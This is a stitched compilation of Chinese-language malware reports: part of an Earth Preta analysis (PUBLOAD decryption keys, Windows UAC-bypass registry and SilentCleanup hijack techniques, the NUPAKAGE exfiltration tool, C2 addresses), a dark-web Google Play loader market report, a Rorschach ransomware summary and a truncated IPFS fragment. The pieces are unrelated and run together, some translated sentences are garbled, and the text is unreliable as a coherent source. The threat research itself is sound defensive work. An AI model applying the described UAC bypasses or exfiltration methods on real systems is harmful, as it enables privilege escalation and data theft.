感染流的後續行為通常與之前的分析相同，更多的細節我們之前已經介紹過。

Trojan.Win32.PUBLOAD在最近的案例中，惡意軟件PUBLOAD也是通過嵌入在誘餌文件中的谷歌驅動器鏈接傳播的。

7.png

美國大使館的誘餌邀請函

自2022年10月以來，研究人員一直在觀察PUBLOAD的一種新變體，該變體使用偽造的HTTP標頭來傳輸數據，LAC的報告也討論了這一點。與之前的PUBLOAD變體不同，它在數據包中預先準備了一個具有合法主機名的HTTP標頭。研究人員認為，攻擊者試圖在正常流量中隱藏惡意數據。 HTTP正文中的數據與過去的變體相同，後者俱有相同的魔法字節17 03 03和加密的受害者信息。研究人員能夠成功地從實時CC服務器中檢索到有效負載，這使得我們能夠繼續分析。

8.png

PUBLOAD HTTP變體的CC流量

一旦接收到有效負載，它將檢查前三個魔術字節是否為17 03 03，以及接下來的兩個字節是否為有效載荷的大小。然後，它將使用預定義的RC4密鑰78 5A 12 4D 75 14 14 11 6C 02 71 15 5A 73 05 08 70 14 65 3B 64 42 22 23 2000 00 00 00 00 00 00 00 00解密加密的有效負載，該密鑰與PUBLOAD加載程序中使用的密鑰相同。

9.png

從PUBLOAD HTTP變體檢索到的第一個有效負載

解密之後，它檢查解密有效負載的第一個字節是否為0x06。解密的有效負載包含用字節23 BE 84 E1 6C D6 AE 52 90進行XOR加密的另一個有效負載。

10.png

從PUBLOAD HTTP變體檢索到的第二個有效負載

解密後，還有另一個支持數據上傳和命令執行的最終後門負載。

11.png

PUBLOAD HTTP變體的最終有效負載

12.png

PUBLOAD HTTP變體中的命令代碼

此外，研究人員還在PUBLOAD示例中發現了一些有趣的調試字符串和事件名稱。

13.png

PUBLOAD中的事件名稱

14.png

PUBLOAD中的調試字符串

總之，研究人員認為新的TONESHELL和PUBLOAD文件一直在迭代，且有了一些共同之處。例如，為了繞過防病毒掃描，它們現在都被放置在誘餌文件中（如穀歌硬盤鏈接）。

攻擊過程一旦攻擊者獲得了對受害者環境的訪問權限，研究人員就可以通過以下命令開始檢查環境：

15.png

權限提昇在這次活動中，研究人員發現了Windows 10中用於UAC繞過的幾個工具。接下來我們將一一介紹。

HackTool.Win 32.ABPASSHackTool.Win32.ABPASS是一個用於繞過Windows 10中的UAC的工具。根據我們的分析，它重用了ucmShellRegModMethod3函數中的代碼，該函數來自一個著名的開源項目UACME。 Sophos的一份報告介紹了這一工具。

該工具接受一個參數，並將以下數據寫入註冊表：

16.png

ABPASS更改了註冊表項

它還改變了Windows處理ms-settings協議的方式，在本例中，字符串ms-settings是一個編程標識符(ProgID)。如果CurVer項設置在ProgID下，它將用於版本控制並將當前ProgID (ms-settings)映射到CurVer默認值中指定的ProgID。反過來，ms-settings的行為被重定向到自定義的ProgID aaabbb32。它還設置了一個新的ProgID aaabbb32及其shell打開命令。最後，執行fodhelper.exe或computerDefaults.exe來觸發ms-settings協議。

17.png

新增的ProgID aaabbb32

HackTool.Win 32.CCPASSHackTool.Win 32.CCPASS是另一個用於Windows 10 UAC繞過的工具，並類似地重用項目UACME中函數ucmMsStoreProtocolMethod中的代碼。

18.png

CCPASS和ucmMsStoreProtocolMethod中的代碼相似性

它的工作方式與ABPASS類似。然而，與ABPASS不同的是，它劫持了ms-windows存儲協議。黑客工具CCPASS的工作原理如下：

1.它禁用了協議ms-windows存儲的應用程序關聯toast。

2.它在註冊表中創建一個新的Shell；

3.它調用未記錄的API UserAssocSet來更新文件關聯；

4.它執行WSReset.exe來觸發此協議。

在Windows 10及以上版本中，系統會顯示一個新的toast對話框，用於為選定的文件類型選擇打開的應用程序。要隱藏此窗口，該工具會明顯地將新條目添加到HKCU\Software\Microsoft\Windows\CurrentVersion\ApplicationAssociationToast，以禁用與協議ms-Windows存儲相關的所有Toast。

19.png

應用程序關聯toast的示例

20.png

通過註冊表隱藏應用程序關聯toast

完成此操作後，該工具開始更改ms-windows-store的shell命令，並最終使用WSReset.exe觸發它。

SilentCleanup在Windows 10中，有一個名為“SilentCleanup”的本地Windows服務。該服務具有最高權限，可以用於Windows 10 UAC繞過。通常，此服務用於運行%windir%\system32\cleanmgr.exe。但是，可以劫持環境變量%windir%並將其更改為任何路徑以實現權限升級。

21.png

濫用SilentCleanup服務的惡意命令

研究人員觀察到攻擊者使用這種技術來執行c:\users\public\1.exe。

橫向運動在這個階段，研究人員觀察到某些惡意軟件，如HIUPAN和ACNSHELL（最初由Mandiant和Sophos引入並分析），被用來自我安裝到可移動磁盤並創建反向shell。

USB蠕蟲: Worm.Win 32.HIUPAN and+ Backdoor.Win 32.ACNSHELL研究人員發現了一組由USB蠕蟲和反向shell組成的惡意軟件，包括USB蠕蟲和反向shell(被檢測為Worm.Win32.HIUPAN和Backdoor.Win32.ACNSHELL)，用於在可移動驅動器上進行擴展。

感染鏈如下圖所示。

22.png

HIUPAN和ACNSHELL感染流

USB Driver.exe程序首先側加載u2ec.dll，然後加載有效負載文件USB .ini。它們分別具有以下PDB字符串：

G:\project\APT\U盤劫持\new\u2ec\Release\u2ec.pdb

G:\project\APT\U盤劫持\new\shellcode\Release\shellcode.pdb

其中“U盤”指的是可移動驅動器。

然後，USB Driver.exe開始檢查是否正確安裝。如果安裝了它，它將開始感染更多的可移動磁盤，並將文件複製到一個名為autorun.inf的文件夾中。如果沒有安裝，它會將自己安裝到%programdata%，然後將註冊表運行項設置為持久性。

最後，側加載ACNSHELL惡意軟件rzlog4cpp.dll。然後，它將通過ncat.exe創建一個反向shell，用於關閉[.]theworkpc[.]com的服務器。

指揮與控制(CC)階段Earth Preta在CC階段使用了多種工具和命令。例如，該組織使用certutil.exe從服務器103[.]159[.]132[.]91下載合法的WinRAR二進製文件rar1.exe。

23.png

certutil.exe程序下載WinRAR二進製文件

研究人員還觀察到攻擊者使用PowerShell從服務器103[.]159[.]132[.]下載多個惡意軟件和文件，以備將來使用。

24.png

PowerShell下載惡意軟件

在某些示例中，研究人員甚至利用安裝在受害主機上的WinRAR二進製文件來解壓所有惡意軟件。

25.png

使用已安裝的WinRAR二進製文件解壓惡意軟件

雖然研究人員發現了涉及多個被釋放惡意軟件的幾個日誌，但研究人員只設法找回了其中的幾個。在收集的所有示例中，我們將重點介紹其中幾個。

Backdoor.Win32.CLEXECCLEXEC後門文件名為“SensorAware.dll”。這是一個簡單的後門，能夠執行命令和清除事件日誌。

26.png

CLEXEC命令代碼

Backdoor.Win32.COOLCLIENTCOOLCLIENT的後門首次出現在Sophos的一份報告中，報告中提到的樣本是在2021編譯的。在該示例中，研究人員分析的COOLCLIENT示例的最近編譯時間是在2022年，雖然它提供了相同的功能，但噹噹前進程名具有“.pdf”或“.jpg”文件擴展名時，它新增了打開誘餌文件(work.pdf)的功能。它還包含減少調試字符串(更少OutputDebugStrings調用)的功能。與此同時,loader.ja在兩個進程下使用：一個是在googleupdate.exe下，用於第一次側加載。第二個是在winver.exe下，它被注入進行後門行為。此外，COOLCLIENT應用了將在我們將在後面討論的混淆技術。

27.png

打開誘餌文件

下圖顯示了COOLCLIENT的整個執行流程。

28.png

COOLCLIENT的執行流

COOLCLIENT的參數提供了以下功能：

install.有三種不同的條件來決定COOLCLIENT的安裝方法，詳細信息如下：

1.它通過創建一個名為InstallSvc的InstallSvc服務來自我安裝，該服務將觸發“googleupdate.exe work”。

2.它通過命令C:\ProgramData\GoogleUpdate\ GoogleUpdate .exe為持久活動設置了一個運行項。

work.惡意軟件將繼續讀取和解密goopdate.ja，並將其註入到winver.exe中以用於包含攻擊的下一階段負載（COOLCLIENT）。

passuac.惡意軟件將檢查進程avp.exe是否存在。如果avp.exe不存在，UAC繞過將通過CMSTPLUA COM接口執行。如果avp.exe存在，UAC繞過將通過AppInfo RPC服務執行。

29.png

通過CMSTPLUA COM接口繞過UAC

HireHackking

WinRAR和curl根據研究人員的一些監控日誌，攻擊者濫用安裝的WinRAR二進製文件和上傳的curl可執行文件來竊取文件(下圖顯示了執行的命令)。注意，可執行文件log.log是一個合法的curl二進製文件。所有洩露的數據都被收集並發送回攻擊者控制的FTP(文件傳輸協議)服務器。

35.png

使用WinRAR和curl洩露數據

在某些示例中，研究人員偶然發現了FTP服務器的帳戶和密碼。在檢查FTP服務器後，研究人員了解到攻擊者主要專注於敏感和機密文件，其中大部分都經過壓縮並使用密碼保護。根據觀察，這些文件是通過對受害者的主機名和磁盤驅動器進行分類來組織的。

36.png

有被盜文件的FTP服務器

HackTool.Win32.NUPAKAGE除了眾所周知的合法工具外，攻擊者還製作了高度定制的用於洩露的工具。研究人員將這個惡意軟件命名為“NUPAKAGE”，該名稱源自其唯一的PDB字符串D:\Project\NEW_PACKAGE_FILE\Release \NEW_PACKAGE_FILE.PDB。

NUPAKAGE惡意軟件需要一個唯一的密碼才能執行，被竊取的數據被封裝在自定義文件格式中。攻擊者似乎在不斷更新該工具，以提供更大的靈活性並降低檢測的可能性，包括添加更多的命令行參數和混淆機制。默認情況下，它只收集文件，包括具有以下擴展名的文件：

doc

.docx

.xls

.xlsx

.ppt

.pptx

.pdf

它避免收集文件名以“$”或“~”開頭的文件，因為這些類型的文件通常要么是系統生成的臨時文件，要么是偽裝成誘餌文件的PE文件。

此工具的用法如下：

37.png

NUPAKAGE惡意軟件的參數

每一個NUPAKAGE惡意軟件都需要一個唯一的密碼作為它繼續執行的首個參數。如下圖所示，它首先檢查密碼是否存在。否則，惡意軟件執行過程將終止。在檢測過程中，研究人員觀察到每個惡意軟件中都有不同的密碼。

38.png

NUPAKAGE中的密碼檢查例程

39.png

NUPAKAGE中的密碼

執行後，NUPAKAGE將釋放xxx.zip和xxx.z兩個文件。 xxx.zip文件是一個日誌文件，其虛假zip標頭以0x0偏移量為前綴，佔用了前0x100個字節。從偏移量0x100開始，在XOR操作中使用單個字節對日誌記錄字符串進行加密，如下圖所示。

40.png

原始日誌文件（頂部），解密後的日誌文件（底部）中顯示純文本

以其中一個執行結果為例，保存了被洩露數據的大部分信息，包括原始文件路徑、原始文件大小和壓縮文件大小。研究人員認為攻擊者利用它來進一步追踪哪些文件被處理過。對於安全研究人員來說，這個日誌文件還有助於揭示有多少數據被洩露，並提供有關影響範圍的信息。

41.png

擴展名為.z的文件是一個自定義文件格式的洩露數據blob。 NUPAKAGE惡意軟件首先隨機生成一個密鑰blob，密鑰在自定義算法中加密。之後，它將加密的密鑰blob存儲到擴展名為.z的文件的前0x80字節中。從偏移量0x80開始，存在一個包含所有已過濾數據的長數組。

洩露文件中的大部分信息都會被保存，例如MD5哈希、文件名長度、壓縮文件大小、原始文件大小、文件名和文件內容。為了分離文件blob，它在每個blob的末尾放置一個唯一的字節序列，55 55 55 55 AA AA AA AA FF FF FF 99 99 99 99。

42.png

NUPAKAGE生成的擴展名為.z的文件中的自定義格式

43.png

NUPAKAGE生成的擴展名為.z的文件中的自定義格式描述

值得一提的是，在NUPAKAGE的最新版本中，越來越多的混淆被用來阻止靜態分析。

44.png

NUPAKAGE最新版本的垃圾代碼

HackTool.Win32.ZPAKAGEZPAKAGE是另一個用於封裝文件的自定義惡意軟件的示例；它的工作原理也與NUPAKAGE類似。它還需要一個密碼來確保它按預期使用。在下圖所示的示例中，密碼是“start”。

45.png

一個ZPAKAGE密碼的示例

ZPAKAGE也支持命令行參數，但它擁有的函數比NUPAKAGE少。該工具的使用方法如下:

46.png

ZPAKAGE支持的參數

ZPAKAGE也表現出與NUPAKAGE相似的行為。例如，它還避免使用名稱以“$”或“~”開頭的文件。此外，它還生成兩個文件，一個擴展名為.z，另一個擴展名稱為.zip。擴展名為.z的文件是已過濾的數據blob，擴展名為.zip的文件是日誌文件。

在生成的擴展名為.z的文件中，被洩露的文件將通過zlib算法進行壓縮，以最小化文件大小。它還定義了用於存儲的布爾字段“type”，無論文件是否被壓縮。如果壓縮後的文件大小小於原文件，則類型為1。否則，類型將被設置為0，並將選擇原始文件內容，而不是壓縮文件內容。無論文件內容是否被壓縮，它都將在異或操作中使用特定字符串qwerasdf對其進行加密。

47.png

ZPAKAGE生成的擴展名為.z的文件中的自定義格式

48.png

ZPAKAGE生成的擴展名為.z的文件中的自定義格式描述

檢測惡意攻擊自2022年10月以來，攻擊者已經更改了TTP，並開始使用受密碼保護的文件。例如，研究人員在VirusTotal上發現了一個TONEINS示例(SHA256: 8b98e8669d1ba49b66c07199638ae6012adf7d5d93c1ca3bf31d6329506da58a)，該示例不能鏈接到“關係”選項卡中的任何其他文件。但是，研究人員發現在“行為”選項卡中打開了兩個文件，文件名分別為~$Evidence information.docx和~$List of terrorist personnel at the border.docx，下一階段的有效負載通常嵌入在虛假文件文件中。

49.png

打開的TONEINS示例文件

下圖顯示了在VirusTotal上查詢“邊境恐怖分子人員名單”的搜索結果。第一個文件是研究人員在本節前面提到的TONEINS DLL示例，而第二個文件是一個正常的可執行文件，最初名為adobe_licensing_wf_helper.exe，顯然是上傳到VirusTotal的，文件名為List of terrorist personnel at the border.exe。

50.png

在VirusTotal上搜索字符串邊境恐怖分子名單的結果

51.png

提交adobe_licensing_wf_helper.exe

第三個文件是受密碼保護的文件，它有完全相同的文件名List of terrorist personnel at the border[1].rar。但由於沒有密碼，研究人員無法解壓它。但它在“Relations”選項卡中有一個有趣的父項執行，這是一個名為Letter Head.docx的文件。

52.png

terrorist personnel at the border[1].rar的父項執行

在Letter Head.docx文件中，有一個谷歌驅動器鏈接和一個密碼。內容本身與緬甸聯邦共和國政府有關，並用緬甸語書寫。

53.png

Letter Head.docx

檢查下載鏈接後，研究人員發現它與之前在VirusTotal上發現的受密碼保護的文件相同。

54.png

谷歌驅動器鏈接截圖

新的攻擊載體流與之前介紹的類似，受害者將收到一個包含谷歌驅動器鏈接和相應密碼的誘餌文件，而不是嵌入在電子郵件中的文件下載鏈接，並與之交互。

至於為什麼密碼保護的文件有父項執行，通過在VirusTotal上檢查Letter Head.docx的沙箱執行行為，研究人員發現VirusTotal沙箱會選擇文件中嵌入的任何鏈接。這將導致打開帶有文件下載提示的Internet Explorer窗口。

55.png

VirusTotal上Letter Head.docx文件的沙盒截圖

當顯示下載提示時，甚至在用戶選擇“保存”按鈕之前，Internet Explorer將在後台靜默地下載該文件。

結果，該文件將被保存到名為“INetCache”的緩存文件夾中，之後會看到一個被釋放的RAR文件：

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\R0IAZP7Z\List%20of%20terrorist%20personnel%20at%20the%20border[1].rar.

由於RAR文件是由Internet Explorer自動下載的，因此Letter Head.docx將被視為它的執行父文件。

56.png

在VirusTotal上被釋放的Letter Head.docx文件

為了找到嵌入谷歌驅動器鏈接的其他受密碼保護的文件，研究人員嘗試使用以下查詢：

57.png

該查詢可以查找任何加密的RAR文件，其文件足夠大，路徑中包含文件夾名稱“INetCache”。幸運的是，研究人員發現了另一個帶有文件執行父級文件“Notic(20221010)(final).docx”的RAR文件，它原來是一個TONESHELL文件。

58.png

歸檔文件的關係

59.png

文件Notic(20221010)(final).docx的內容

有趣的是，在迄今為止收集的所有示例中，攻擊者使用以相同格式(DD-MM-YYYY)編寫的日期和時間字符串作為提取密碼。

連接點在調查過程中，研究人員觀察到一些數據點與同一個人有關。例如，研究人員在收集的不同惡意軟件樣本中發現了一個特定的名稱“TaoZongjie”。此外，Avast在2022年12月的報告中提到的名為“YanNaingOo0072022”的GitHub存儲庫託管了多個惡意軟件，包括TONESHELL。研究人員還觀察到不同惡意軟件之間的混淆方法有相似之處。

用戶“TaoZongjie”分析研究人員發現一些樣本共享相同的特殊字符串/名稱“TaoZongjie”，包括Cobalt Strike惡意軟件，TONESHELL CC服務器上的Windows用戶，以及TONESHELL彈出對話框中顯示的消息。

調查始於啟用了遠程桌面服務的TONESHELL CC服務器38[.]54[.]33[.]228，研究人員發現其中一個Windows用戶叫“TaoZongjie”。

60.png

38[.]54[.]33[.]228中的Windows用戶

在尋找與此次活動相關的樣本時，研究人員看到了一條發佈於2021年4月的關於Cobalt Strike的推文。乍一看，Cobalt Strike的使用方式與此活動類似，包括使用DLL側加載，使用谷歌驅動器鏈接進行傳播，並創建日程任務。

61.png

關於Cobalt Strike的推特

感染流程如下：歸檔文件通過Google Drive鏈接傳播，其中包含一個合法的EXE文件、一個惡意的DLL文件和一個用緬甸語編寫的誘餌文件。一旦惡意DLL被側加載，它將釋放嵌入DLL文件的資源部分的合法EXE文件和惡意DLL文件。在這個示例中，字符串By:Taozongjie被用作事件名稱。

62.png

Cobalt Strike的攻擊流

63.png

示例中的特殊字符串

在一個TONEINS示例(SHA256: 7436f75911561434153d899100916d3888500b1737ca6036e41e0f65a8a68707)中，研究人員還觀察到用於事件名稱的字符串taozongjie。

64.png

在TONEINS創建活動taozongjie

在另一個TONESHELL示例(SHA256: d950d7d9402dcf014d6e77d30ddd81f994b70f7b0c6931ff1e705abe122a481a)中，有一些無關緊要的導出函數，它們將通過消息框出現，字符串為Tao或zhang!儘管這兩個字符串的拼寫方式與taozongjie不完全相同，但它們的拼寫仍然相似。

65.png

TONESHELL的消息框

根據研究人員在不同樣本中發現的情況，研究人員假設taozongjie可能是攻擊者使用的標誌之一。

GitHub用戶“YanNaingOo0072022”分析在Avast和ESET報告中都提到了GitHub用戶“YanNaingOo0072022”。用戶的存儲庫託管各種惡意軟件，包括最新版本的TONEINS、TONESHELL和一個名為MQsTTang的ESET新工具QMAGENT。在撰寫本文時，這個GitHub空間仍然可以訪問，有五個存儲庫：“View2015,” “View2016,” “1226,” “ee,” 和“14.” 。其中，“View2015” 和“View2016”是空的。

66.png

YanNaingOo0072022 GitHub空間

1226此存儲庫中的歸檔文件都相同，但具有不同的文件名。研究人員認為這些文件是針對不同的受害者的。

HireHackking

sl-abstract-mobile-phone-malware-danger-blue-red-binary-code-1-1200x600.jpg

2022年，卡巴斯基安全解決方案檢測到近170萬個針對移動用戶的惡意軟件或不需要的軟件裝入程序。儘管傳播此類裝入程序的最常見方式是通過第三方網站和不正規的應用商店，但它們的開發者也會想方設法將它們上傳到Google Play等官方商店，以提高傳播範圍。

這些應用程序通常受到嚴格監管，並且在發布之前有專門人員對其進行預審核。可防不勝防，惡意和不需要的軟件開發者使用了各種技巧來繞過平台檢查。例如，他們可能會上傳一個良性的應用程序，然後用惡意或可疑的代碼更新它，感染新用戶和已經安裝該應用的用戶。惡意應用程序一被發現就會從Google Play中刪除，但有時是在下載多次之後才能被發現。

本文的研究起始於用戶投訴，有用戶投訴在Google Play上發現了許多惡意和不需要的應用程序，為此卡巴斯基實驗室的研究人員決定分析一下暗網上此類惡意軟件的供求情況。分析這種威脅是如何產生的尤為重要，因為許多攻擊者經常會集團化運作，買賣Google Play賬戶、惡意軟件、廣告服務等。這是一個完整的地下世界，有自己的規則、市場價格和聲譽機構，我們會在本報告中對此進行概述。

分析方法使用卡巴斯基數字足跡分析功能，研究人員收集到了Google Play此類情況的數據。卡巴斯基數字足跡會對文本存儲網站和受限制的地下在線論壇進行監控，以發現洩露的賬戶和信息洩露。本報告中提供的報價發佈於2019年至2023年，來自九個最受歡迎的論壇，用於購買和銷售與惡意軟件和不需要的軟件相關的商品和服務。

主要發現能夠將惡意或不需要的應用程序發送到Google Play的裝入程序的價格在2000美元到20000美元之間。

為了使攻擊不被發現，很大一部分攻擊者嚴格通過論壇和Telegram進行談判。

最流行的隱藏惡意軟件和不需要的軟件的應用程序類別包括加密貨幣跟踪器、金融應用程序、二維碼掃描儀，甚至約會應用程序。攻擊者接受三種主要的支付方式：一部分利潤、訂閱費或租金以及一次性支付。

攻擊者推出谷歌廣告吸引更多人下載惡意和不需要的應用程序。廣告的費用取決於目標國家。美國和澳大利亞用戶的廣告費用最高，高達1美元左右。

暗網上提供的惡意服務類型與合法的在線市場一樣，暗網上也有各種優惠，供有不同需求和預算的客戶使用。在下面的屏幕截圖中，你可以看到一個優惠列表，其中介紹了針對Google Play用戶可能需要的不同商品和服務的數量。這份清單的開發者認為價格太高，然而，它們與我們在其他暗網優惠中看到的價格並不矛盾。

攻擊者購買的主要產品是開發人員的Google Play帳戶，這些帳戶可以被攻擊者使用竊取的身份攻擊或註冊，以及幫助買家將其創作上傳到Google Play的各種工具的源代碼。此外，攻擊者還提供VPS（售價300美元）或虛擬專用服務器等服務，攻擊者使用這些服務來控制受感染的手機或重定向用戶流量，以及基於網絡的注入。網絡注入是一種監控受害者活動的惡意功能，如果他們打開了攻擊者感興趣的網頁，注入器就會將其替換為惡意網頁。這種功能的售價為每個25-80美元。

1.png

一家暗網服務提供商稱這些價格太高，並指出他們以更低的價格出售同樣的服務

Google Play裝入程序在分析的大多數優惠中，攻擊者出售Google Play裝入程序，其目的是將惡意或不需要的代碼注入Google Play應用程序。然後，該應用程序會在Google Play上更新，受害者可能會將惡意更新下載到他們的手機上。根據注入到應用中的具體內容，用戶可能會獲得更新的最終有效載荷，或者收到通知，提示他們啟用未知應用的安裝，並從外部來源安裝。

在後一種情況下，除非用戶同意安裝額外的應用程序，否則通知不會消失。安裝應用程序後，攻擊者需要獲得訪問手機關鍵數據的權限，如輔助服務、攝像頭、麥克風等。受害者可能無法使用原始的合法應用程序，直到他們給予執行惡意活動所需的權限。一旦所有請求的權限都被授予，用戶最終能夠使用應用程序的合法功能，但與此同時，他們的設備也會受到感染。

為了說服買家購買其開發的裝載程序，攻擊者有時會提供視頻演示，並向潛在客戶發送演示版本。在裝入程序功能中，他們的開發者可能會強調用戶友好的UI設計、方便的控制面板、目標國家過濾器、對最新Android版本的支持等等。攻擊者還可能為木馬應用程序添加檢測調試器或沙箱環境的功能。如果檢測到可疑環境，裝入程序可能會停止操作，或通知攻擊者它可能已被安全調查人員發現。

2.jpeg

Google Play裝入程序是暗網上Google Play攻擊中最受歡迎的產品

裝入程序的開發者通常會指定裝入程序使用的合法應用程序的類型。惡意軟件和不需要的軟件經常被注入加密貨幣跟踪器、金融應用程序、二維碼掃描儀甚至約會應用程序。攻擊者還強調了目標應用程序的合法版本有多少下載量，這意味著有很多潛在受害者會通過使用惡意或不需要的代碼更新應用程序而被感染。最常見的情況是，開發者承諾在下載量達到或超過5000次的應用程序中註入代碼。

3.jpeg

攻擊者出售將代碼注入加密貨幣跟踪器的Google Play裝入程序

綁定服務暗網上另一個常見的服務是綁定服務。本質上，這些裝入程序與Google Play裝入程序做的事情完全相同，即在合法應用程序中隱藏惡意或不需要的APK文件。然而，與裝入程序不同的是，裝入程序會調整注入的代碼以通過Google Play上的安全檢查，綁定服務會將惡意代碼插入到不一定適合官方Android市場的應用程序中。通常情況下，使用綁定服務創建的惡意和不需要的應用程序通過釣魚短信、帶有破解遊戲和軟件的可疑網站等方式傳播。

由於綁定服務的成功安裝率低於裝入程序，因此兩者在價格上有很大差異：裝入程序的成本約為5000美元而綁定服務的成本通常約為50 - 100美元或每個文件65美元。

4.jpeg

開發者對綁定服務的描述

開發者廣告中列出的綁定服務的優勢和功能通常與裝入程序的優勢和特點相似。不過，Binder（Binder 是一種進程間通信機制,基於開源的OpenBinder實現）通常缺乏與Google Play相關的功能。

惡意軟件模糊處理惡意軟件模糊處理的目的是通過使惡意代碼複雜化來繞過安全系統。在這種情況下，買家要么為處理單個應用程序付費，要么為訂閱付費，例如，每月付費一次。服務提供商甚至可以為購買套餐提供折扣。例如，其中一個開發者以440美元的價格提供50個文件的模糊處理，而同一提供商僅處理一個文件的成本約為30美元。

5.jpeg

Google Play威脅模糊處理優惠，每次50美元

安裝為了增加惡意應用程序的下載量，許多開發者甚至通過谷歌廣告來增加銷路。與其他暗網服務不同，這項服務是完全合法的，用於吸引盡可能多的應用程序下載，無論它是仍然合法的應用程序還是已被感染的應用程序。安裝成本取決於目標國家。均價為0.5美元，報價從0.1美元到1美元不等。在下面的截圖中，面向美國和澳大利亞用戶的廣告成本最高，為0.8美元。

6.png

開發者規定了每個國家的安裝價格

其他服務暗網開發者也會為買家發布惡意或不需要的應用程序。在這種情況下，買家不會直接與Google Play互動，但可以遠程接收應用程序活動的成果，例如，所有被其竊取的受害者數據。

平均價格和常見銷售規則卡巴斯基的專家分析了提供Google Play相關服務的暗網廣告的價格，發現買家可以接受不同的支付方式。這些服務可以以最終利潤的份額提供，也可以以一次性價格出租或出售。一些開發者也會拍賣他們的商品：由於出售的商品數量有限，它們不太可能被發現，所以買家可能願意為它們競價。例如，在研究人員發現的一次拍賣中，Google Play裝入程序的起拍價是1500美元，最終7000美元成交。

7.jpeg

開發者拍賣Google Play裝入程序

在暗網論壇上觀察到的裝入程序的價格在2000美元到20000美元之間，這取決於惡意軟件的複雜性、新穎性和流行性，以及附加功能。裝入程序的平均價格是6975美元。

8.jpeg

Google Play裝入程序的平均報價

然而，如果攻擊者想購買裝入程序源代碼，價格會立即飆升，超過價格範圍的上限。

9.jpeg

開發者以20000美元的價格提供Google Play裝入程序源代碼

與裝入程序不同，Google Play開發者帳戶（無論是被黑客入侵的還是由攻擊者新創建的）都可以很便宜地購買，例如，只需200美元，有時甚至只需60美元。價格取決於帳戶功能，如已發布的應用程序數量、下載數量等。

10.jpeg

用戶想購買一個可以訪問用戶電子郵件的Google Play帳戶

除了許多優惠外，研究人員還在暗網上發現了許多想要以特定價格購買特定產品或服務的信息。

11.jpeg

攻擊者正在尋找新的Google Play裝入程序

12.jpeg

用戶想買一個新的裝入程序

交易過程暗網上的服務提供商提供了一整套不同的工具和服務。為了保持他們的活動不被發現，很大一部分攻擊者會通過暗網論壇上的私人消息或社交網絡和Telegram進行溝通。

在暗網開發者中，為了降低交易風險，攻擊者經常求助於無私的中介機構——託管服務或中間商。託管可能是一種特殊服務，由影子平台或對交易結果不感興趣的第三方支持。然而，請注意，在暗網上，沒有什麼能100%消除被騙的風險。

總結從暗網上此類威脅的供應量和需求量來看，可以斷定此類威脅只會增長，並變得更加複雜和先進。

防護措施：

不要啟用未知應用程序的安裝。如果某個應用程序催促你下載安裝，那麼要小心了。如果可能，請卸載該應用程序，並使用防病毒軟件掃描設備。

檢查你使用的應用程序的權限，並在授予不需要的權限之前仔細考慮，尤其是在涉及輔助功能服務等高風險權限時。比如，手電筒應用程序唯一需要的權限就是使用手電筒。

使用可靠的安全解決方案，可以幫助你在惡意應用程序和廣告軟件在設備上出現不當行為之前發現它們。

隨時更新你的操作系統和重要應用程序。要確保應用程序更新是良性的，請在安全解決方案中啟用自動系統掃描，或者在安裝更新後立即掃描設備。

對於組織來說，有必要使用強密碼和雙因素驗證保護其開發人員帳戶，並監控暗網，以儘早檢測和緩解憑據洩漏風險。

HireHackking

1.png

一家總部位於美國的公司遭到網絡攻擊之後，惡意軟件研究人員發現了一種似乎具有“獨特技術功能”的新型勒索軟件，他們將其命名為Rorschach。

研究人員觀察到的功能之一是加密速度：據研究人員的測試結果顯示，Rorschach憑此速度成為如今最快速的勒索軟件威脅。

分析師們發現，黑客在利用一款威脅檢測和事件響應工具存在的弱點之後，在受害者網絡上部署了惡意軟件。

Rorschach的細節網絡安全公司Check Point的研究人員在應對美國一家公司的安全事件時發現，Rorschach是通過Cortex XDR中的簽名組件使用DLL側加載技術部署的，Cortex XDR是知名網絡安全公司Palo Alto Networks 的一款擴展檢測和響應產品。

攻擊者使用Cortex XDR轉儲服務工具（cy.exe）版本7.3.0.16740來側加載Rorschach加載器和注入器（winutils.dll），這導致將勒索軟件的攻擊載荷“config.ini”投放到記事本（Notepad）進程中。

加載器文件具有類似UPX的反分析保護機制，而主攻擊載荷通過使用VMProtect軟件對部分代碼進行虛擬化處理來防止逆向工程和檢測。

Check Point聲稱，Rorschach在Windows域控制器上執行時會創建一個組策略，以傳播到域中的其他主機。

在攻陷機器之後，惡意軟件會刪除四個事件日誌（應用程序日誌、安全日誌、系統日誌和Windows Powershell日誌），以清除其痕跡。

2.png

圖1. 攻擊鏈（圖片來源：Check Point）

雖然帶有硬編碼配置，但Rorschach支持可以擴展功能的命令行參數。

Check Point特別指出，這些選項是隱藏的，如果不對惡意軟件進行逆向工程分析，就無法訪問。以下是研究人員發現的一些參數：

3.png

圖2. Check Point 破解的參數

Rorschach的加密過程只有當受害者的機器用獨聯體（CIS）之外的語言加以配置時，Rorschach才會開始加密數據。

加密方案結合了curve25519算法和eSTREAM cipher hc-128算法，遵循間歇加密趨勢，這意味著它只對文件進行部分加密，從而提高了處理速度。

4.jpg

圖3. Rorschach的加密方案（圖片來源：Check Point）

研究人員特別指出，Rorschach 的加密例程表明“通過I/O完成端口高效地實現線程調度”。

Check Point表示：“此外，為了加快速度，似乎格外重視編譯器優化，大部分代碼進行了內聯處理。所有這些因素使我們認為，我們面對的可能是外面速度最快的勒索軟件之一。”

為了了解Rorschach的加密速度有多快，Check Point在一台六核CPU機器上搭建了含有220000個文件的測試環境。

Rorschach花了4.5分鐘來加密數據，而被認為最快的勒索軟件家族的LockBit v3.0卻用了7 分鐘才完成加密。

在鎖定係統之後，惡意軟件投放一封勒索函，其格式類似Yanlowang勒索軟件所用的勒索函。

據研究人員聲稱，這個惡意軟件的以前版本使用了類似DarkSide的勒索函。

Check Point表示，這種相似性可能導致其他研究人員將不同版本的Rorschach誤認為是DarkSide，後者於2021年更名為BlackMatter，並於同年銷聲匿跡。

5.jpg

圖4. Rorschach投放的最新勒索函（圖片來源：Check Point）

BlackMatter的成員後來策劃了ALPHV/BlackCat勒索軟件行動，該行動於2021年11月啟動。

Check Point評估後認為，Rorschach從一些在線洩露的主要勒索軟件家族（Babuk、LockBit v2.0和DarkSide）借鑒了更好的功能。

除了自我傳播能力外，該惡意軟件還“提高了勒索攻擊的門檻”。

目前，Rorschach勒索軟件的運營商仍然不得而知，也沒有什麼品牌，這種情況在勒索軟件領域很少見。

HireHackking

微信截图_20230421165743.png

2022年，unit42觀察到，IPFS(InterPlanetary File System,星際文件系統)被廣泛用作惡意工具。 IPFS是一種全新的超媒體文本傳輸協議，可以把它理解為一種支持分佈式存儲的網站。

